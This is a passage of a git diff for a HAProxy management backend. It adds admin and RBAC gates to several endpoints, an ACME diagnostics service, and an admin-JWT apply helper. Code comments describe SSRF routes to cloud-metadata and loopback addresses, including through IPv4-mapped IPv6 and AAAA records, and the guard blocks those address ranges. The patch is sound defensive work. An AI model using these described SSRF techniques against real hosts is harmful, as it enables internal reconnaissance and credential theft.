srv['id']) + # Delete certificate await conn.execute("DELETE FROM ssl_certificates WHERE id = $1", cert_id) diff --git a/backend/routers/user.py b/backend/routers/user.py index 4108023..724f084 100644 --- a/backend/routers/user.py +++ b/backend/routers/user.py @@ -17,7 +17,22 @@ async def get_users(authorization: str = Header(None)): try: # Verify authentication current_user = await get_current_user_from_token(authorization) - + + # R18c audit fix (round 5 #1 — KRITIK info leak): the only + # caller in the UI today is the admin User Management page; + # the endpoint exposes username, email, phone, full_name, + # is_admin, roles[], cluster_ids and timestamps for every + # active operator on the platform. Pre-fix any + # authenticated user (cluster reader, ssl reader, etc.) + # could enumerate the full operator roster, including + # admin emails for phishing and is_admin flags for target + # selection. Restrict to admins. + if not current_user.get("is_admin"): + raise HTTPException( + status_code=403, + detail="Listing all users requires administrator privileges." + ) + conn = await get_database_connection() # Get users with their roles (only active users) @@ -88,7 +103,20 @@ async def get_roles(authorization: str = Header(None)): try: # Verify authentication current_user = await get_current_user_from_token(authorization) - + + # R18c audit fix (round 5 #2 — KRITIK info leak): the role + # listing exposes the FULL `permissions` blob and + # `cluster_ids` for every role. Pre-fix any authenticated + # user could read the platform's RBAC layout — invaluable + # reconnaissance for an attacker planning a privilege + # escalation. Mutations on this endpoint are admin-only; + # the read path now matches. + if not current_user.get("is_admin"): + raise HTTPException( + status_code=403, + detail="Listing roles requires administrator privileges." + ) + conn = await get_database_connection() # Check if roles table exists and get roles @@ -475,9 +503,28 @@ async def change_user_password( async def delete_server_global(server_id: int, request: Request, authorization: str = Header(None)): """Delete a server by ID - global endpoint for UI compatibility""" try: - from auth_middleware import get_current_user_from_token + from auth_middleware import get_current_user_from_token, check_user_permission current_user = await get_current_user_from_token(authorization) - + + # Risk-audit follow-up to Bulgu-#77: the legacy + # `delete_server` on `routers/backend.py` was upgraded to + # gate on `backends.update`, but BackendServers.js calls + # the compatibility alias `DELETE /api/servers/{id}` that + # routes here — so the FE delete path was still missing + # the per-action RBAC check. A read-only operator with + # `backends.read` and pool access could delete servers. + # Mirror the gate so both endpoints enforce the same + # contract. + has_permission = await check_user_permission( + current_user["id"], "backends", "update", + current_user=current_user, + ) + if not has_permission: + raise HTTPException( + status_code=403, + detail="You don't have permission to delete servers", + ) + # Get request body for cluster_id validation request_body = await request.json() if hasattr(request, 'json') else {} expected_cluster_id = request_body.get('cluster_id') @@ -895,7 +942,34 @@ async def get_user_activity( """Get user activity logs""" try: current_user = await get_current_user_from_token(authorization) - + + # R18c audit fix (round 4 #21 — KRITIK info leak): pre-fix + # any authenticated user could: + # 1. Omit `user_id` and fetch the FULL activity log of + # every operator on the platform — including admin + # apply_changes, ACME orders, and (after R18b round 6) + # wizard `apply_error` / `acme_staging_error` blobs. + # 2. Pass an arbitrary `user_id` and read another + # operator's activity stream. + # The wizard's richer audit row makes this leak more + # consequential than before because the JSONB now carries + # operationally sensitive failure details. Restrict the + # endpoint to admins (full access) or to a user querying + # their own rows. Non-admin requests for someone else's + # activity → 403. + is_admin = bool(current_user.get("is_admin")) + own_id = current_user.get("id") + if not is_admin: + if user_id is None: + # Default to the caller's own rows for non-admins; + # the previous unfiltered listing is admin-only. + user_id = own_id + elif user_id != own_id: + raise HTTPException( + status_code=403, + detail="Only administrators can view another user's activity log." + ) + conn = await get_database_connection() # Build query with optional user filter diff --git a/backend/routers/waf.py b/backend/routers/waf.py index 3bd247f..16d88dc 100644 --- a/backend/routers/waf.py +++ b/backend/routers/waf.py @@ -550,7 +550,7 @@ async def update_waf_rule(rule_id: int, waf_rule_data: dict, request: Request, a status_code=403, detail="Insufficient permissions: waf.update required" ) - + conn = await get_database_connection() existing_rule = await conn.fetchrow("SELECT * FROM waf_rules WHERE id = $1", rule_id) @@ -558,6 +558,14 @@ async def update_waf_rule(rule_id: int, waf_rule_data: dict, request: Request, a await close_database_connection(conn) raise HTTPException(status_code=404, detail="WAF rule not found") + # Bulgu #79 — WAF rules carry an optional cluster_id; + # validate that the operator can touch this cluster + # before mutating the row. WAF rules with cluster_id IS + # NULL are "global" and gated only by `waf.update`. + rule_cluster_id = existing_rule.get('cluster_id') if hasattr(existing_rule, 'get') else existing_rule['cluster_id'] + if rule_cluster_id: + await validate_user_cluster_access(current_user['id'], rule_cluster_id, conn) + # Prepare the config dictionary for the update import json config = existing_rule['config'] @@ -754,12 +762,18 @@ async def toggle_waf_rule_status( ) conn = await get_database_connection() - + rule = await conn.fetchrow("SELECT * FROM waf_rules WHERE id = $1", rule_id) if not rule: await close_database_connection(conn) raise HTTPException(status_code=404, detail="WAF rule not found") - + + # Bulgu #79 — validate cluster access for cluster-scoped + # WAF rules (global rules pass unconditionally). + rule_cluster_id = rule['cluster_id'] if 'cluster_id' in rule.keys() else None + if rule_cluster_id: + await validate_user_cluster_access(current_user['id'], rule_cluster_id, conn) + # Determine new status based on action if action == "delete": new_status = False diff --git a/backend/services/acme_diagnostics.py b/backend/services/acme_diagnostics.py new file mode 100644 index 0000000..fa7fea0 --- /dev/null +++ b/backend/services/acme_diagnostics.py @@ -0,0 +1,651 @@ +""" +ACME Diagnostics service (Feature A — Issue #13). + +Pre-flight & post-failure diagnostics for an ACME order. Each check produces a +structured `{id, label, status, message, details, duration_ms, severity}` row +suitable for an Antd Tabs/Steps display. + +Key constraints (Section 3.3 of the v1.5.0 plan): +- DNS resolution uses stdlib socket.gethostbyname_ex via run_in_executor (we + intentionally avoid pulling aiodns as a runtime dep for v1.5.0). +- Port-80 probe is HEAD-only, target locked to the order's domains, success on + HTTP 200 OR 404, warns on egress timeout (don't fail-hard — corp egress + policies often blackhole outbound 80). +- All checks have hard wall-clock timeouts (asyncio.wait_for) to bound impact + on the API event loop. +- humanize_error_detail covers >= 11 RFC8555 problem types and is backwards + compatible with the legacy plain-string error_detail field. +""" + +import asyncio +import ipaddress +import json +import logging +import socket +import time +from typing import Any, Dict, List, Optional + +import aiohttp + +logger = logging.getLogger(__name__) + + +# R18b audit fix (round 4 #B): SSRF guard for outbound HTTP probes. +# The ACME diagnostics check_port80 helper opens an HTTP HEAD against +# the operator-supplied domain. If that domain resolves to a private +# / loopback / link-local / cloud-metadata IP, the API host becomes a +# request-forwarding primitive: an authenticated operator could +# fingerprint internal services or hit AWS/GCP metadata endpoints by +# pointing DNS at them. Refuse to probe non-public IPs and surface +# the skip in the diagnostic result so the operator knows why. +def _is_public_ip(ip_str: str) -> bool: + """Return True only for globally-routable IPv4/IPv6 addresses. + + Excludes loopback, link-local, RFC1918 private space, multicast, + cloud-metadata IPs (169.254.169.254 falls under link-local), and + reserved blocks. Used by check_port80 before issuing an HTTP + request to operator-supplied hostnames. + """ + try: + ip = ipaddress.ip_address(ip_str) + except (ValueError, TypeError): + return False + # R18c audit fix (round 3 #4 — KRITIK SSRF): normalize IPv4-mapped + # IPv6 addresses to their underlying IPv4 form before + # classification. PRE-FIX an attacker who controlled the + # domain's AAAA record could point it at `::ffff:127.0.0.1` + # (or `::ffff:169.254.169.254` for cloud metadata) and our + # guard would return True because IPv6Address.is_loopback / + # is_private only check the IPv6 address space — they do NOT + # walk into the embedded IPv4 mapping. The guard would then + # let the probe through, creating an SSRF path back into the + # OpenManager host's loopback / cloud metadata service. Always + # unwrap `.ipv4_mapped` first so the IPv4 classification rules + # apply. + if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped is not None: + ip = ip.ipv4_mapped + if ip.is_loopback or ip.is_link_local or ip.is_private: + return False + if ip.is_multicast or ip.is_reserved or ip.is_unspecified: + return False + return True + + +async def _all_ips_public(domain: str, *, timeout: float = 5.0) -> tuple[bool, list[str]]: + """Resolve `domain` and return (all_public, ips). On DNS failure + returns (False, []) — caller should treat as "skip / unable to + verify safety" rather than "probe anyway".""" + try: + info = await _resolve_dns(domain, timeout=timeout) + except Exception: + return (False, []) + ips = info.get("ips", []) or [] + if not ips: + return (False, []) + return (all(_is_public_ip(ip) for ip in ips), ips) + + +# RFC8555 problem types (https://datatracker.ietf.org/doc/html/rfc8555#section-6.7) +# Plus a few extra ACMEv2 additions used in the wild. +_PROBLEM_HUMANIZED: Dict[str, Dict[str, str]] = { + "urn:ietf:params:acme:error:accountDoesNotExist": { + "title": "ACME account not found", + "hint": "The ACME account is missing or has been deactivated. Re-create the LE account from Settings → Let's Encrypt.", + }, + "urn:ietf:params:acme:error:badNonce": { + "title": "Stale request nonce", + "hint": "Transient — the next retry should succeed. If it persists, your system clock may be skewed.", + }, + "urn:ietf:params:acme:error:badRevocationReason": { + "title": "Invalid revocation reason", + "hint": "The CA rejected the revocation reason code. Use a valid RFC5280 CRLReason.", + }, + "urn:ietf:params:acme:error:caa": { + "title": "CAA record forbids issuance", + "hint": "DNS CAA records prevent Let's Encrypt from issuing this certificate. Add 'letsencrypt.org' to the CAA records.", + }, + "urn:ietf:params:acme:error:connection": { + "title": "CA could not connect to your server", + "hint": "Let's Encrypt's validators could not reach port 80 from the public internet. Check inbound firewall and routing.", + }, + "urn:ietf:params:acme:error:dns": { + "title": "DNS resolution failed during validation", + "hint": "The domain does not resolve, or the CA's DNS lookup timed out. Verify A/AAAA records are public.", + }, + "urn:ietf:params:acme:error:incorrectResponse": { + "title": "HTTP-01 challenge response mismatch", + "hint": "The CA fetched the challenge URL but received the wrong key authorization. Confirm the challenge was served from the right backend.", + }, + "urn:ietf:params:acme:error:invalidContact": { + "title": "Invalid contact email", + "hint": "The ACME account email is malformed. Update the LE account email.", + }, + "urn:ietf:params:acme:error:malformed": { + "title": "Malformed request", + "hint": "The request body could not be parsed. Often a transient bug — retry; if it persists, raise an issue.", + }, + "urn:ietf:params:acme:error:rateLimited": { + "title": "Let's Encrypt rate limit hit", + "hint": "Too many certificates issued or too many duplicate orders. Wait or use the staging directory.", + }, + "urn:ietf:params:acme:error:rejectedIdentifier": { + "title": "Domain rejected by CA", + "hint": "The CA refused this hostname (e.g. blocklisted TLD, public-suffix mismatch).", + }, + "urn:ietf:params:acme:error:serverInternal": { + "title": "ACME server error", + "hint": "Let's Encrypt is reporting a transient server error. Retry.", + }, + "urn:ietf:params:acme:error:tls": { + "title": "TLS error during validation", + "hint": "The validator could not complete the TLS handshake (only relevant for tls-alpn-01 / tls-sni).", + }, + "urn:ietf:params:acme:error:unauthorized": { + "title": "Unauthorized", + "hint": "The challenge response could not be verified — most often an HTTP-01 path-not-served issue.", + }, + "urn:ietf:params:acme:error:unsupportedContact": { + "title": "Unsupported contact scheme", + "hint": "Only 'mailto:' contacts are currently supported by Let's Encrypt.", + }, + "urn:ietf:params:acme:error:unsupportedIdentifier": { + "title": "Unsupported identifier", + "hint": "Only DNS identifiers are supported.", + }, + "urn:ietf:params:acme:error:userActionRequired": { + "title": "User action required", + "hint": "ACME account requires Terms-of-Service re-acceptance. Visit the URL in the error to acknowledge.", + }, +} + + +def humanize_error_detail(error_detail: Any) -> Dict[str, Any]: + """Convert the order.error_detail field into a UI-friendly structured form. + + error_detail may be: + - A JSON string with {type, detail, status, subproblems} + - A plain string (legacy) + - None + Always returns a dict with at minimum {title, message, hint}. + """ + if not error_detail: + return {"title": "No error", "message": "", "hint": ""} + + parsed: Optional[Dict[str, Any]] = None + if isinstance(error_detail, dict): + parsed = error_detail + elif isinstance(error_detail, str): + s = error_detail.strip() + if s.startswith("{"): + try: + parsed = json.loads(s) + except json.JSONDecodeError: + parsed = None + + if parsed is None: + # Legacy plain string fallback + return { + "title": "ACME error", + "message": str(error_detail), + "hint": "", + "raw": str(error_detail), + } + + problem_type = parsed.get("type") or "" + base = _PROBLEM_HUMANIZED.get(problem_type, {}) + title = base.get("title") or "ACME error" + hint = base.get("hint") or "" + message = parsed.get("detail") or parsed.get("message") or "" + status = parsed.get("status") + subproblems = parsed.get("subproblems") or [] + + out = { + "title": title, + "message": message, + "hint": hint, + "type": problem_type, + "raw": parsed, + } + if status is not None: + out["status"] = status + if subproblems: + out["subproblems"] = [ + { + "type": sp.get("type"), + "detail": sp.get("detail"), + "identifier": (sp.get("identifier") or {}).get("value"), + } + for sp in subproblems + if isinstance(sp, dict) + ] + return out + + +# ---------------------------------------------------------------------------- +# Per-check helpers +# ---------------------------------------------------------------------------- + + +def _check_result( + check_id: str, + label: str, + status: str, + message: str, + *, + severity: str = "info", + details: Optional[Dict[str, Any]] = None, + duration_ms: Optional[int] = None, +) -> Dict[str, Any]: + return { + "id": check_id, + "label": label, + "status": status, # 'ok' | 'warn' | 'fail' | 'skipped' + "severity": severity, # 'info' | 'warn' | 'error' + "message": message, + "details": details or {}, + "duration_ms": duration_ms, + } + + +async def _resolve_dns(domain: str, *, timeout: float = 5.0) -> Dict[str, Any]: + """Resolve a domain via stdlib socket.gethostbyname_ex; never blocks the + asyncio event loop. + """ + loop = asyncio.get_running_loop() + try: + result = await asyncio.wait_for( + loop.run_in_executor(None, socket.gethostbyname_ex, domain), + timeout=timeout, + ) + canonical, aliases, ips = result + return {"canonical": canonical, "aliases": aliases, "ips": ips} + except asyncio.TimeoutError: + raise + except Exception as e: + # socket.gaierror, etc. + raise RuntimeError(str(e)) from e + + +async def check_dns(domains: List[str]) -> Dict[str, Any]: + """Check that each order domain resolves to at least one public-looking IPv4.""" + started = time.time() + failed: List[Dict[str, Any]] = [] + resolved: Dict[str, List[str]] = {} + for d in domains: + # Wildcards are valid per RFC8555 but cannot be HTTP-01 validated; skip + # actual DNS resolution for them (they would fail A-record lookup). + if d.startswith("*."): + resolved[d] = [] + continue + try: + r = await _resolve_dns(d, timeout=5.0) + resolved[d] = r["ips"] + if not r["ips"]: + failed.append({"domain": d, "reason": "no A records"}) + except asyncio.TimeoutError: + failed.append({"domain": d, "reason": "dns timeout"}) + except Exception as e: + failed.append({"domain": d, "reason": str(e)}) + + duration_ms = int((time.time() - started) * 1000) + if failed: + return _check_result( + "dns", + "DNS resolution", + "fail", + f"DNS lookup failed for {len(failed)} domain(s)", + severity="error", + details={"failed": failed, "resolved": resolved}, + duration_ms=duration_ms, + ) + return _check_result( + "dns", + "DNS resolution", + "ok", + f"All {len(domains)} domain(s) resolved", + severity="info", + details={"resolved": resolved}, + duration_ms=duration_ms, + ) + + +async def check_port80(domains: List[str], *, http_timeout: float = 5.0) -> Dict[str, Any]: + """Probe HTTP-01 readiness on port 80 with a HEAD request to a synthetic + challenge URL. Success on 200 OR 404 (404 means the well-known path is + served but no challenge yet — fine). + + On egress timeout we WARN rather than FAIL because many corporate egress + policies blackhole port 80 outbound; that does not impair LE's ingress + validation (LE comes inbound). + """ + started = time.time() + targets: List[Dict[str, Any]] = [] + timeout = aiohttp.ClientTimeout(total=http_timeout) + skip_reason = None + + domains_to_check = [d for d in domains if not d.startswith("*.")] + if not domains_to_check: + return _check_result( + "port80", + "Port 80 reachability", + "skipped", + "All domains are wildcards; HTTP-01 not applicable", + severity="info", + duration_ms=int((time.time() - started) * 1000), + ) + + # R18c audit fix (round 4 #4 — KRITIK SSRF residual): force the + # aiohttp connector to family=AF_INET (IPv4-only) so the HTTP + # probe resolves and connects with the SAME family that + # _resolve_dns / _all_ips_public classifies. PRE-FIX the SSRF + # guard ran on the IPv4 list returned by `gethostbyname_ex`, + # but aiohttp's default connector did its own dual-stack + # `getaddrinfo` and could connect via AAAA — so an attacker + # who controlled a domain's DNS could publish a benign public + # A record (passing our guard) AND a `::1`/`fc00::/7`/`fe80::/10` + # AAAA record that aiohttp picked, hitting our internal IPv6 + # space. Constraining the connector to IPv4 closes the loop + # because the family the guard inspects equals the family the + # connector uses. ACME HTTP-01 itself works only over IPv4-or- + # IPv6 paths the CA can reach; the diagnostic just needs to + # confirm reachability and we already only classify IPv4. + connector = aiohttp.TCPConnector(family=socket.AF_INET, ssl=False) + async with aiohttp.ClientSession(timeout=timeout, connector=connector) as session: + for d in domains_to_check: + # R18b audit fix (round 4 #B — SSRF guard): refuse to + # probe a domain whose A/AAAA records point at private, + # loopback, link-local, multicast, or cloud-metadata IP + # space. Pre-fix the diagnostic was a usable SSRF + # primitive for any authenticated operator: pick a + # hostname pointing at 169.254.169.254 / 10.0.0.0/8 / + # 127.0.0.1 and the API host issued an outbound HEAD, + # reflecting status / error back into the diagnostic + # JSON. The HTTP-01 protocol fundamentally requires the + # CA to reach the host from the public internet, so a + # private-IP domain cannot validate anyway. + all_public, ips = await _all_ips_public(d, timeout=2.0) + if not all_public: + targets.append({ + "domain": d, + "skip": "non-public IP — refusing to probe (SSRF guard)", + "ips": ips, + "ok": False, + "warn": True, + }) + if ips: + skip_reason = "non-public IPs blocked" + continue + url = f"http://{d}/.well-known/acme-challenge/diagnostic-probe" + try: + async with session.head(url, allow_redirects=False) as resp: + targets.append({ + "domain": d, + "status": resp.status, + "ok": resp.status in (200, 404), + }) + except asyncio.TimeoutError: + targets.append({"domain": d, "error": "egress timeout", "warn": True}) + skip_reason = "egress timeout" + except aiohttp.ClientError as e: + targets.append({"domain": d, "error": str(e), "ok": False}) + except Exception as e: + targets.append({"domain": d, "error": str(e), "ok": False}) + + duration_ms = int((time.time() - started) * 1000) + failed = [t for t in targets if not t.get("ok") and not t.get("warn")] + warns = [t for t in targets if t.get("warn")] + if failed: + return _check_result( + "port80", + "Port 80 reachability", + "fail", + f"Port 80 probe failed for {len(failed)} domain(s)", + severity="error", + details={"targets": targets}, + duration_ms=duration_ms, + ) + if warns and not [t for t in targets if t.get("ok")]: + # R18b audit fix (round 7): branch the rollup message on the + # actual cause. Pre-fix the message was always "Egress to + # port 80 appears blocked" — even when every target was + # skipped because the SSRF guard refused to probe a non- + # public IP, which has nothing to do with egress firewalls. + # Operators saw "egress blocked" and started spelunking + # corporate firewall logs while the real cause was an + # internal-only DNS A record. Also harden against + # `skip_reason=None` so the message never reads "(None)". + ssrf_skip = any( + "non-public" in (t.get("skip") or "") + or "SSRF" in (t.get("skip") or "") + for t in targets + ) + if ssrf_skip and not skip_reason: + skip_reason = "non-public IPs blocked" + if ssrf_skip: + human = ( + f"Probe skipped for non-public IPs ({skip_reason}). " + "ACME HTTP-01 requires a public A record; corporate / " + "internal-only domains cannot satisfy LE validation." + ) + else: + reason = skip_reason or "egress restriction" + human = ( + f"Egress to port 80 appears blocked ({reason}); " + "inbound CA validation may still succeed" + ) + return _check_result( + "port80", + "Port 80 reachability", + "warn", + human, + severity="warn", + details={"targets": targets}, + duration_ms=duration_ms, + ) + return _check_result( + "port80", + "Port 80 reachability", + "ok", + f"All {len(domains_to_check)} domain(s) responded on port 80", + severity="info", + details={"targets": targets}, + duration_ms=duration_ms, + ) + + +async def check_routing(conn, domains: List[str], cluster_ids: List[int]) -> Dict[str, Any]: + """Verify that at least one frontend on the order's clusters has a + use_backend_rules / acl_rules pointing at the system ACME challenge + backend OR that an HTTP frontend covering port 80 exists for the + requesting cluster(s). + """ + started = time.time() + if not cluster_ids: + return _check_result( + "routing", + "HAProxy routing", + "warn", + "Order has no associated cluster", + severity="warn", + duration_ms=int((time.time() - started) * 1000), + ) + + rows = await conn.fetch( + """ + SELECT id, name, bind_address, bind_port, mode, default_backend + FROM frontends + WHERE cluster_id = ANY($1::int[]) AND is_active = TRUE AND bind_port = 80 + """, + cluster_ids, + ) + duration_ms = int((time.time() - started) * 1000) + if not rows: + return _check_result( + "routing", + "HAProxy routing", + "fail", + "No HTTP frontend on port 80 found in target cluster(s)", + severity="error", + details={"cluster_ids": cluster_ids}, + duration_ms=duration_ms, + ) + return _check_result( + "routing", + "HAProxy routing", + "ok", + f"Found {len(rows)} HTTP frontend(s) on port 80", + severity="info", + details={"frontends": [dict(r) for r in rows]}, + duration_ms=duration_ms, + ) + + +async def check_account(conn, account_id: Optional[int]) -> Dict[str, Any]: + """Verify the ACME account exists, has status='valid', and has an + account_url stored. + """ + started = time.time() + if not account_id: + return _check_result( + "account", + "ACME account", + "fail", + "Order has no ACME account id", + severity="error", + duration_ms=int((time.time() - started) * 1000), + ) + row = await conn.fetchrow( + "SELECT id, email, status, account_url FROM letsencrypt_accounts WHERE id = $1", + account_id, + ) + duration_ms = int((time.time() - started) * 1000) + if not row: + return _check_result( + "account", + "ACME account", + "fail", + f"Account {account_id} not found", + severity="error", + duration_ms=duration_ms, + ) + if row["status"] != "valid": + return _check_result( + "account", + "ACME account", + "fail", + f"Account status is '{row['status']}', expected 'valid'", + severity="error", + details={"account": dict(row)}, + duration_ms=duration_ms, + ) + if not row["account_url"]: + return _check_result( + "account", + "ACME account", + "warn", + "Account has no account_url stored", + severity="warn", + details={"account": dict(row)}, + duration_ms=duration_ms, + ) + return _check_result( + "account", + "ACME account", + "ok", + f"Account {row['email']} is valid", + severity="info", + details={"account": dict(row)}, + duration_ms=duration_ms, + ) + + +async def check_agents(conn, cluster_ids: List[int]) -> Dict[str, Any]: + """Verify at least one healthy agent is registered for the order's + cluster(s). + """ + started = time.time() + if not cluster_ids: + return _check_result( + "agents", + "HAProxy agents", + "warn", + "Order has no associated cluster", + severity="warn", + duration_ms=int((time.time() - started) * 1000), + ) + rows = await conn.fetch( + """ + SELECT a.id, a.hostname, a.status, a.last_heartbeat, hc.id AS cluster_id, hc.name AS cluster_name + FROM agents a + JOIN haproxy_clusters hc ON hc.pool_id = a.pool_id + WHERE hc.id = ANY($1::int[]) + """, + cluster_ids, + ) + duration_ms = int((time.time() - started) * 1000) + if not rows: + return _check_result( + "agents", + "HAProxy agents", + "fail", + "No agents registered for the target cluster(s)", + severity="error", + details={"cluster_ids": cluster_ids}, + duration_ms=duration_ms, + ) + healthy = [r for r in rows if r["status"] in ("active", "online")] + if not healthy: + return _check_result( + "agents", + "HAProxy agents", + "warn", + f"{len(rows)} agent(s) registered but none currently active", + severity="warn", + details={"agents": [dict(r) for r in rows]}, + duration_ms=duration_ms, + ) + return _check_result( + "agents", + "HAProxy agents", + "ok", + f"{len(healthy)} of {len(rows)} agents are active", + severity="info", + details={"agents": [dict(r) for r in rows]}, + duration_ms=duration_ms, + ) + + +# ---------------------------------------------------------------------------- +# Public orchestration +# ---------------------------------------------------------------------------- + + +CHECK_IDS = ("dns", "port80", "routing", "account", "agents") + + +async def run_checks( + conn, + *, + domains: List[str], + cluster_ids: List[int], + account_id: Optional[int], + only: Optional[List[str]] = None, +) -> List[Dict[str, Any]]: + """Execute the full pre-flight check suite. `only` lets callers re-run a + subset (per-check rerun in the UI). + """ + selected = set(only) if only else set(CHECK_IDS) + results: List[Dict[str, Any]] = [] + + if "dns" in selected: + results.append(await check_dns(domains)) + if "port80" in selected: + results.append(await check_port80(domains)) + if "routing" in selected: + results.append(await check_routing(conn, domains, cluster_ids)) + if "account" in selected: + results.append(await check_account(conn, account_id)) + if "agents" in selected: + results.append(await check_agents(conn, cluster_ids)) + + return results diff --git a/backend/services/apply_service.py b/backend/services/apply_service.py new file mode 100644 index 0000000..04669cb --- /dev/null +++ b/backend/services/apply_service.py @@ -0,0 +1,119 @@ +""" +apply_service: programmatic invocation of the cluster apply pipeline. + +Used by: +- routers/site_wizard.py (atomic create flow with apply_immediately=true) +- routers/letsencrypt.py _complete_certificate (post-completion auto-apply) + +Design (Section 4.5 of v1.5.0 plan): +- Reuses the existing /api/clusters/{id}/apply-changes route handler so that + the response shape (`latest_version`, `consolidated_version_id`, + `sync_results`, `applied_count`, `agents_notified`) and transaction + boundary are byte-identical to UI-driven applies. +- M23/M46 (R65): when user_id is None (e.g. ACME completion auto-apply with + legacy created_by NULL), falls back to a short-lived JWT minted for the + first active admin user (`is_admin=TRUE AND is_active=TRUE`). +- This file deliberately delegates rather than duplicating the ~800 LOC apply + pipeline; that keeps drift impossible. The wrapper only injects auth. +""" + +import logging +from datetime import timedelta +from typing import Any, Dict, Optional + +from database.connection import close_database_connection, get_database_connection +from utils.auth import create_access_token + +logger = logging.getLogger(__name__) + + +async def _resolve_user_id(user_id: Optional[int]) -> Optional[int]: + """If user_id is provided AND still valid (active), return it; else + return the first active admin user's id. Returns None if no admin user + exists (extreme edge case). + + M46/R65: schema accuracy — `users.is_super_admin` does NOT exist; the + correct columns are `is_admin` (BOOLEAN) and `is_active` (BOOLEAN). + + Bulgu #27 fix: when a wizard-staged ACME order's `created_by` user has + been deleted/deactivated by the time the post-completion auto-apply + fires (could be 24h+ later), do NOT mint a JWT for that ghost user — + we'd just produce a 401 from get_current_user_from_token. Fall through + to the admin fallback instead. + """ + conn = await get_database_connection() + try: + if user_id is not None: + valid = await conn.fetchval( + "SELECT id FROM users WHERE id = $1 AND is_active = TRUE", + user_id, + ) + if valid: + return valid + logger.warning( + "apply_service: requested user_id=%s no longer exists or is inactive — " + "falling back to admin", user_id, + ) + + admin_id = await conn.fetchval( + """ + SELECT id FROM users + WHERE is_admin = TRUE AND is_active = TRUE + ORDER BY id ASC LIMIT 1 + """ + ) + if not admin_id: + logger.error( + "apply_service: no active admin user found (is_admin=TRUE AND is_active=TRUE)" + ) + return admin_id + finally: + await close_database_connection(conn) + + +def _mint_internal_jwt(user_id: int) -> str: + """Mint a short-lived JWT for an internal apply call. Token uses the + standard claim shape (`sub`/`user_id`) accepted by + auth_middleware.get_current_user_from_token. + """ + return create_access_token( + {"sub": str(user_id), "user_id": user_id}, + expires_delta=timedelta(minutes=5), + ) + + +async def apply_cluster_pending( + cluster_id: int, + *, + user_id: Optional[int] = None, + apply_request: Optional[Dict[str, Any]] = None, +) -> Dict[str, Any]: + """Programmatic equivalent of POST /api/clusters/{cluster_id}/apply-changes. + + Returns the same response dict the HTTP endpoint returns: + { + "message": str, + "applied_count": int, + "latest_version": str, + "consolidated_version_id": int, + "sync_results": list, + "agents_notified": int, + ...optionally global_ssl_applied... + } + """ + # Local import to avoid cluster.py <-> apply_service circular import at + # module load (cluster.py uses apply_service indirectly via routers/__init__). + from routers.cluster import apply_pending_changes # noqa: WPS433 (intentional) + + resolved = await _resolve_user_id(user_id) + if resolved is None: + raise RuntimeError( + "apply_service.apply_cluster_pending: no admin user available for system context apply" + ) + + auth_header = f"Bearer {_mint_internal_jwt(resolved)}" + return await apply_pending_changes( + cluster_id=cluster_id, + apply_request=apply_request or {}, + authorization=auth_header, + ) diff --git a/backend/services/backend_service.py b/backend/services/backend_service.py new file mode 100644 index 0000000..25bb9b3 --- /dev/null +++ b/backend/services/backend_service.py @@ -0,0 +1,148 @@ +""" +backend_service: extracted helpers for INSERT-row creation of backends + backend_servers. + +Used by: +- routers/site_wizard.py (atomic transaction wizard) +- routers/backend.py (delegate) + +Design (Section 4.1 of v1.5.0 plan): +- Helpers accept an existing asyncpg connection (caller controls transaction boundary). +- Schema accuracy R38: server_address / server_port / server_name (NOT host/ip/port). +- M13 helper extension: when mark_pending=True, helper performs follow-up + UPDATE backends/backend_servers SET last_config_status='PENDING' to match the + existing endpoint pattern (backend.py:646) — otherwise apply pipeline pre-step + (`WHERE last_config_status='APPLIED'`) may overlook the new entity. +""" + +import logging +from typing import Any, Optional + +logger = logging.getLogger(__name__) + + +def _filter_httpchk_from_options(options: Optional[str]) -> Optional[str]: + """Strip 'option httpchk' from raw options field (matches backend.py logic).""" + if not options: + return options + out_lines = [] + for line in options.split("\n"): + if line.strip().lower().startswith("option httpchk"): + continue + out_lines.append(line) + return "\n".join(out_lines).strip() or None + + +async def create_backend_row( + conn, + payload: Any, + cluster_id: int, + *, + mark_pending: bool = True, +) -> int: + """Insert a row into backends; return new id. + + Mirrors POST /api/backends INSERT (backend.py:591-603) field-for-field. + Caller must already have validated name uniqueness within cluster. + """ + options_filtered = _filter_httpchk_from_options(getattr(payload, "options", None)) + + backend_id = await conn.fetchval( + """ + INSERT INTO backends ( + name, balance_method, mode, health_check_uri, health_check_interval, + health_check_expected_status, fullconn, cookie_name, cookie_options, + default_server_inter, default_server_fall, default_server_rise, + request_headers, response_headers, options, + timeout_connect, timeout_server, timeout_queue, cluster_id + ) VALUES ( + $1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, + $13, $14, $15, $16, $17, $18, $19 + ) RETURNING id + """, + payload.name, + getattr(payload, "balance_method", "roundrobin"), + getattr(payload, "mode", "http"), + getattr(payload, "health_check_uri", None), + getattr(payload, "health_check_interval", None), + getattr(payload, "health_check_expected_status", None), + getattr(payload, "fullconn", None), + getattr(payload, "cookie_name", None), + getattr(payload, "cookie_options", None), + getattr(payload, "default_server_inter", None), + getattr(payload, "default_server_fall", None), + getattr(payload, "default_server_rise", None), + getattr(payload, "request_headers", None), + getattr(payload, "response_headers", None), + options_filtered, + getattr(payload, "timeout_connect", None), + getattr(payload, "timeout_server", None), + getattr(payload, "timeout_queue", None), + cluster_id, + ) + + if mark_pending: + await conn.execute( + "UPDATE backends SET last_config_status='PENDING' WHERE id=$1", + backend_id, + ) + + return backend_id + + +async def create_server_row( + conn, + backend_id: int, + backend_name: str, + cluster_id: int, + server: Any, + *, + mark_pending: bool = True, +) -> int: + """Insert a row into backend_servers; return new id. + + Mirrors POST /api/backends/{id}/servers INSERT (backend.py:725-737). + """ + server_id = await conn.fetchval( + """ + INSERT INTO backend_servers ( + backend_id, backend_name, server_name, server_address, server_port, weight, + maxconn, check_enabled, check_port, backup_server, + ssl_enabled, ssl_verify, ssl_certificate_id, + ssl_sni, ssl_min_ver, ssl_max_ver, ssl_ciphers, + cookie_value, inter, fall, rise, cluster_id + ) VALUES ( + $1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, + $14, $15, $16, $17, $18, $19, $20, $21, $22 + ) RETURNING id + """, + backend_id, + backend_name, + server.server_name, + server.server_address, + server.server_port, + getattr(server, "weight", 100), + getattr(server, "max_connections", None), + getattr(server, "check_enabled", True), + getattr(server, "check_port", None), + getattr(server, "backup_server", False), + getattr(server, "ssl_enabled", False), + getattr(server, "ssl_verify", "none"), + getattr(server, "ssl_certificate_id", None), + getattr(server, "ssl_sni", None), + getattr(server, "ssl_min_ver", None), + getattr(server, "ssl_max_ver", None), + getattr(server, "ssl_ciphers", None), + 